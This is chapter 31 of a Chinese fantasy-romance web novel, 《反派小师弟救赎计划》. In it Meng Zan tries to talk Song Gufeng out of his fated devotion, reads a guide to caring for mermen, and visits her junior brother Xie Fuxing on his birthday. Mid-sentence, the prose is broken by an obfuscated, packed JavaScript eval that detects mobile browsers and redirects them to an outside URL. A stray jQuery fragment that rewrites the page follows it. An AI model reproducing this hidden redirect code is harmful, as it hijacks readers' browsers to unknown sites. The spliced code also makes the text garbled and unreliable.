31. 第三十一章

作品:《反派小师弟救赎计划

    第三十一章


    秋风瑟瑟把孟簪的心都吹凉了,窗户半开着,并不灼热的阳光落在男子的衣袍上,层层官服交叠,勾勒男子肩宽腰窄的身形,流苏结随着他微微侧头的动作划过宋故封的脸颊,那张明眸皓齿的容颜不苟言笑之时,多了几分不可亵渎的庄严。


    他手指轻敲着木桌,撩起眼皮不紧不慢道,“我知道公主不喜欢我,但天命不可违。”


    孟簪好半晌才找回自己的声音,“为何?”


    他神情温柔了不少,“公主,我是为你而存在的,我存在本身的价值就是和你在一起,成婚生子。”


    她观察着对面人的神情,看不出半分的破绽,也正是他没有骗人这个事实让孟簪觉得心惊胆战,面上她不动神色,私底下慌乱地搅动着衣服。


    “你又怎么确定我是永安公主呢?”孟簪直到今日也不明白为什么宋故封话语那么笃定,确定自己就是他要找的那个人。


    “白玉耳坠。”


    孟簪下意识伸手摸向那一双白玉耳坠,自打她有记忆开始,这一对白玉耳坠就在了。


    “但,单凭一对耳坠莫名有些太过于荒谬了吧?”孟簪镇定地朝对面的男子发问。


    对方对于孟簪很有耐心,如孟簪所料的一板一眼回答说,“此外,我还有自己的途径,公主不必怀疑。之前把你从飞舟提前带来也是,让你可以更快的适应公主这个身份,只是不成想,身边觊觎公主的人如此之多。”


    孟簪想起宫里流传的流言,不知为何有些心虚地移开视线。“所以,公主你还有什么想说的吗?”


    这般正宫的气度让孟簪越发笃定自己得劝劝宋故封。


    “其实小宋啊,每个人都是为了自己所存在的。你并不是依附我而存在,就我打个比方哈,如果哪天我死了呢?”


    宋故封认真答道,“我会努力和你合葬一坟。”


    孟簪:“……”


    这回答让孟簪头疼扶额,“你这样是不行的。”


    宋故封立马接话,“我挺行的。”


    孟簪:我觉得你回答问题挺行的。


    “保证各个方面都不会让公主失望的。”话说完,那张不染风月的脸红了,宋故封那拳头抵着嘴,轻咳了两声,匆忙地垂下眼。


    突然开上高速的车把本来正经的孟簪打得措不及防,她假装听不懂,认真道,“这不是满意的问题。”


    “那是什么问题?我改。”


    不谈别的,宋故封拥有人类最好的品质之一,知错就改。孟簪见宋故封就差拿出笔和纸做笔记的紧张模样,也真有些于心不忍,话语也放软了些,无奈道,“你改不了的。”


    “公主不说,我怎么改。”


    孟簪思来想去,还是决定给对方下一剂猛药,“其实——我不喜欢男的。”


    要不是孟簪及时夺过宋故封的刀,宋故封一刀就下去了,不带半点的拖泥带水,他斩钉截铁道,“倘若你不喜欢男的,我就不做男的。”


    “我也不喜欢女的呢?”


    宋故封一愣,满脸为难,“难道你喜欢的不是人?”


    “……”


    孟簪点点头,见总算把宋故封给为难住了,便乘胜追击道,“对,我就喜欢跨种族的爱恋。”


    孟簪本来想着,宋故封是个骨子里保守的人,肯定会知难而退。虽然不知道为什么北冥凌说宋故封是鲛人,但是这短短片刻的相处,孟簪没有从宋故封身上感受到半分的妖气,宋故封无论左看右看都是个再寻常不过的人,要真说妖里妖气,孟簪觉得宋故封没有谢赴星像个鲛人。


    “那他可以做小。”


    孟簪刚想笑,立马就意识到宋故封说得话是什么意思。


    “什么?”


    宋故封一字一句别扭道,“他可以做小,我不介意。”


    “虽然我骨子里是个保守的人,但是为了你我可以破戒那么一次。”


    孟簪:我谢谢你哈。


    不是,这人也不够保守啊。


    两人最终不欢而散,宋故封从门内出来就知道自己留不住孟簪。


    倘若公主要离开。


    那宋故封便只能阻止她,不让她走。


    —


    孟簪和宋故封谈话谈得心力憔悴,她听不进宋故封的话,宋故封也听不进她的劝告。不过眼下孟簪也并不着急从皇宫离开,毕竟她还有重要的事情去做。


    两日后便是谢赴星的生辰了。


    孟簪决定要给谢赴星留下一个永世难忘的生辰。


    毕竟自己之前看来确实对小师弟有些误会,包括之前的那些事,说到底孟簪还是心中有愧,谢赴星就算再坏也是自己带进门的师弟,无论怎么变,他永远是自己师弟这件事不会变。


    坚定信念的孟簪在纸上勾勾画画的时候,一本书从天花板上砸在了她脚边。


    看着封皮上少主使用指南六个大字,孟簪大为震撼的同时不禁疑惑道,这是什么东东?


    单纯的孟簪此刻怀着好奇翻开了这本书,她还未曾设想,接下来的两个时辰她将会遭遇什么。


    “哦。”


    “原来如此。”


    “我悟了!”


    门外守夜的宫女为自家努力学习的公主而感到感动,那么晚了公主还没有掐灭蜡烛依旧在刻苦读书,宫女放轻脚步离去后不久,孟簪活动了一下颈椎,合上了书本。


    这本书的主人的少主应当是个鲛人。书上就如何饲养一只鲛人以及与其相处进行了详尽的介绍。


    比如鲛人满十八岁后就会有发-情期,每月月圆之时需要人工投吻,帮助其度过这段时期。此外,一只鲛人可不是那么好饲养的,不能让他感受到被冷落不然他就会吃醋,鲛人吃起醋来会格外斤斤计较,虽然鱼的记性不太好,但鲛人在记仇这方面遵循君子报仇,十年不晚的思想。


    也就是说一件事他可能没几秒就忘了,但也有可能他记了一辈子都不会忘记了。总而言之,如果遇上了发情期的鲛人需要逃离,但是如果这个鲛人是他口中的少主的话,可以不用害怕,因为他们家的少主具有强大的自制力,就算是再美若天仙的人坐在他旁边他都可以坐怀不乱。


    总而言之,十八岁对于人来说是道坎,对待鲛人也是,鲛人十八岁以后发-情期会催促他们寻找伴侣共度终生。所以不少鲛人自打小就开始寻找自己的另一半,以防熬不过发-情期的折磨,情-欲最是折磨人,虽然孟簪对于鲛人每个月经历这种感到同情,但是想起书中另类的知识,她骤然沉默,甚至隐隐有些脸红,逼着自己思考起正经的问题来,譬如,这书为何会出现在这里?


    可是脑海里自顾自地重新出现奇怪的知识,红温持续难以褪去,孟簪拍了拍自己的脸,脑中划过自己惊鸿一瞥的鲛人小师弟的样貌,虽然孟簪觉得那可能是自己的幻觉,可是怎么说……这幻觉未免有些太真实了。


    真实到孟簪现在还清晰地记得住小师弟那张脸上划过的很快的一瞬的慌乱。


    孟簪看回自己纸上的勾勾画画,本来是构思送小师弟什么生辰礼物的说,结果轻松的被一本书夺去了,不由得有些痛很自己这一点儿都不顽强的意志力。


    算了,明天再思考好了。


    这个想法持续到,两日后,孟簪意识到今日便是小师弟的生辰。也许是多思考了一会儿,她回忆谢赴星不久前对她说的,师姐我不过生辰的。


    那时少年神色是如何呢?孟簪想谢赴星不是那县令捧在手心的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095946|133620||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小儿子,无人为他的生辰祝贺。多年前的记忆孟簪也是断断续续记得一部分,也正是因为记得,她才不会听从谢赴星的话。


    “师姐,你盯着我看许久了。”直到谢赴星出声,孟簪才意识到自己确实看小师弟看得有些频繁了,一旁的北冥凌也扭过头来,看着故作从容的孟簪眯起了眼,“诶,师姐你耳朵怎么红啦!”


    做作的演技,刻意提高的语调,可以说北冥凌又在看热闹不嫌事大了。


    “北冥凌你多大了?”


    对于孟簪突如而来的问题,北冥凌充耳不闻,笑着问,“师姐你耳朵红什么?”


    “哦,你脸红什么?”孟簪的反问声刚落下,北冥凌立马蹙眉反驳,“我哪里……”


    两巴掌落下后,肇事者淡定道,“现在红了。”


    看完全程的苗昊觉得脸突然有些疼了。


    北冥凌毕竟也不是第一次被孟簪打了,君子不记小人过,故而受了两巴掌也不吭声,而这一幕落在不远处旁人的眼中可就意味不明了。


    荀药手中的茶杯一抖,意味深长地看着北冥凌通红的两颊,“这人是我们家那位皇子,对吧?”


    埋头吃馄饨的小琴闻声抬头,盯着打量了好会儿,总结道,“除了发色不一样,衣服素了点,其他的倒是一模一样。”


    荀药沉吟了会儿,“你说一个自小矜贵骄傲的男人被女人打了两巴掌,还一点儿都不生气,甚至眼里还流露着宠溺,这是为什么呢?”


    小琴吃完了最后一个馄饨,得出结论,“说明爱啊!这不是爱情还是什么?怪不得之前皇上给他安排的女子都看不上,原来是喜欢暴力的。”


    荀药抬头四十五度仰望天空,虽然有的时候答案会让人觉得不可思议,可往往最不可能的那个便是最接近事件的真相,所以,皇子外表看着壮如铁牛,内心竟然住着一颗喜欢挨打的心吗?啧啧,荀药思考要不要把这个发现汇报上去,促进皇子和皇上之间的情谊。


    夜深,谢赴星随意扫了眼叔父方才带给自己的信,一目十行地看完后,毫不留情地一把火烧了。


    家书抵万金,对于谢赴星而言,家人的挂念无非是让他为家族卖命罢了。


    这时门外突然传来一阵敲门声,谢赴星下意识以为是那人折返回来,不料,来人笑眯眯地看着自己,这般晚的时间来找自己,倒不像是来做好事的,果不其然来人开口第一句就是,“我可以进去坐坐吗?”


    孟簪特意挑了个喜庆的红衣穿上,她皮肤白穿什么都很好看,不过因为她很少穿红色的缘故,故而让人感觉眼前一亮。腰间戴的是花朵形状的明铃,随着她的步子,一步一响。


    这明铛倒是像狸奴脖子上常戴着的铃铛。


    不过,谢赴星只是在心里道,面上恍若未闻的朝这位孟师姐关心道,“师姐那么晚了找我是有什么事吗?莫非是上次的鬼还没抓干净。”


    孟簪瞥了眼少年晦暗不明的黑眸,清了清嗓子,“没事就不能来找你吗?”


    “自然不是。”少年挡在门口,倒也没有让孟簪进门的意思,他漫不经心地扫过孟簪的面容,轻笑道,“只是,今晚不行。”


    “为什么?”


    “心情不好,不为什么。师姐如果事情不急的话,明日再说吧。”谢赴星说完也不管孟簪什么反应,一个弹指,门自动关上,连个余光都不愿给孟簪。


    孟簪总算体会到了守阁长老的心情了。


    不过,倘若今日说放弃便放弃就不是她孟簪了!


    不就是不能走正门吗!孟簪走后门。


    九月十四,月圆未圆。


    房内的谢赴星面色凝重,看着那没烧掉的信封里掉出来的小纸条,看完后陷入了深深的怀疑。